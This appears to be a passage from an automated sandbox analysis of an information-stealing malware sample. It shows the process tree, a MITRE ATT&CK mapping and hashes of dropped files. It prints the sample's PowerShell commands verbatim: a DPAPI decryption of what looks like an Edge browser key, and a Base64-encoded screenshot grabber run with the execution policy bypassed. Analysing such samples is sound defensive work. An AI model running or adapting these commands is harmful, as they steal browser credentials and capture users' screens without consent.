    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,66,108,107,50,252,194,141,188,144,140,214,253,194,194,86,113,69,211,143,141,71,86,99,81,81,89,36,34,223,131,111,25,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,156,54,24,77,113,52,163,48,201,116,100,50,136,57,30,217,68,254,242,251,177,176,14,87,57,184,237,134,137,152,50,250,48,0,0,0,76,83,81,81,114,59,135,66,3,125,198,229,99,150,222,216,174,30,167,254,218,5,67,129,10,217,142,150,116,2,48,247,192,129,49,183,201,214,235,254,164,141,33,159,84,255,2,73,64,0,0,0,47,117,174,182,37,17,164,202,96,177,41,199,49,129,99,183,44,228,128,192,5,106,61,146,75,51,39,213,139,172,106,72,3,43,53,97,173,128,0,243,19,0,203,213,33,32,203,121,85,85,231,223,140,186,24,116,174,75,92,214,177,91,88,111), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABjADAAaQBsADMAdgB4AG4ARgBOAFwARQBOAC0AVwBsAHEAdwBpAG4AawB1AFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABjADAAaQBsADMAdgB4AG4ARgBOAFwARQBOAC0AVwBsAHEAdwBpAG4AawB1AFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5280

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Wlqwinku.zip

Path C:\ProgramData\Microsoft\UserSettings\c0il3vxnFN\EN-Wlqwinku.zip
Size 541KB
SHA256 12cc7dac1a0d6e92b8f8cc2a140c582c6a417ce9557724bf79333cfdba34bc18
MD5 3899c5f0bd9d32287925c1933bcba13e
SHA1 1e4e506444ef64cde1708270fb632ea8b802e68b
SHA512 f89d4481bc62c929c06cdb2b5f959fc4c865223348895d29fc3a4f22f247132c35d28f546e3291768fc93c3414f84578141fe42ccfdc7e24db6cd0a1bddc270e
SSDEEP 12288:HPHlQ6yOuCqIEglgcPgafGW8RUTu69uOZD2jxGNCb4jvUYS90YGz7cS:26yO5qIEglgcoyTN514xGcMjvUzBGz7V
TLSH
T1D2C423EBBA0C95C4BD920CBB68C752B26F5ACF691E24FC71DA5037ACE42F0578511E90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

screenshot.png

Path C:\ProgramData\Microsoft\UserSettings\c0il3vxnFN\EN-Wlqwinku\Screenshot\screenshot.png
Size 557KB
SHA256 93618d47f11bc85532801acf65ee3ff00af7dc159ccc8ac2bbb1c569a8e19de7
MD5 68258159359a8816f56a1d3110956427
SHA1 2fc49446ce43382dd4b1f14fd937523bf4cc9194
SHA512 289de6a93c7f0877678ee24af4de87537f1bdcf2961c85ef6366aabac1689b4b3a8a8558c6726d460c934d3d24c4361469db6e5806c2b59dca0408315c57ddea
SSDEEP 12288:cMIOk4bXWYGjprWk780+gsUkkaaSh50MA9l/t0vhvp/MdYPLG:m4jWYgpnI181g55AnrqS
TLSH
T188C4221C6FF1CC416DD304ADBDE21A8F4245319F02FE40B2DF101D9A9898FBABA2585B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\ProgramData\Microsoft\UserSettings\c0il3vxnFN\EN-Wlqwinku\log.txt
Size 338B
SHA256 4b55c6fc44c8fe08c78e0fbc770a61acfe6595871eb1cb393ff0197ac9102be4
MD5 3404151455a7fd6a97b672708a8a0a5f
SHA1 f9a168b38738d92ce5fffaedc90c0af1c7d33e4f
SHA512 2b763bbef05bc548791d701e2bf3ecce98941e896ec981531b7773a10334de3ff54a95efc9240fd59b00c76b57ca435f8c295dd6cc25eecc59bcb2447504b820
TLSH
T192E04F6818ECE5D1535268C8991EC6CC882118A71949F5FE33C2045A67D64A5612CB13
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download